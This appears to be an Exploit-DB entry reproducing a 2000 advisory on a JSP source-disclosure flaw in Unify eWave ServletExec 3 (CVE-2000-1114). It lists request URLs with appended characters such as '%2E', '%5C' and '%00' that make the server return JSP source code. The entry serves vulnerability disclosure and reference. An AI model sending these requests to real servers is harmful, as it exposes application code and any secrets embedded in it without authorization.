Unify eWave ServletExec 3 JSP Source Disclosure Vulnerability

2000-11-21T00:00:00
ID EDB-ID:20412
Type exploitdb
Reporter Wojciech Woch
Modified 2000-11-21T00:00:00

Description

Unify eWave ServletExec 3 JSP Source Disclosure Vulnerability. CVE-2000-1114. Remote exploit for jsp platform

                                        
                                            source : http://www.securityfocus.com/bid/1970/info

Unify eWave ServletExec is a Java/Java Servlet engine plug-in for major web servers such as Microsoft IIS, Apache, Netscape Enterprise Server, etc. 

ServletExec will return the source code of JSP files when a HTTP request is appended with one of the following characters:

.
%2E
+
%2B
%5C
%20
%00

For example, the following URL will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp.

Successful exploitation could lead to the disclosure of sensitive information contained within JSP pages.

Any of the following URL requests will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp. 
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+ 
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp\ 
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20 
http://target/directory/jsp/file.jsp%00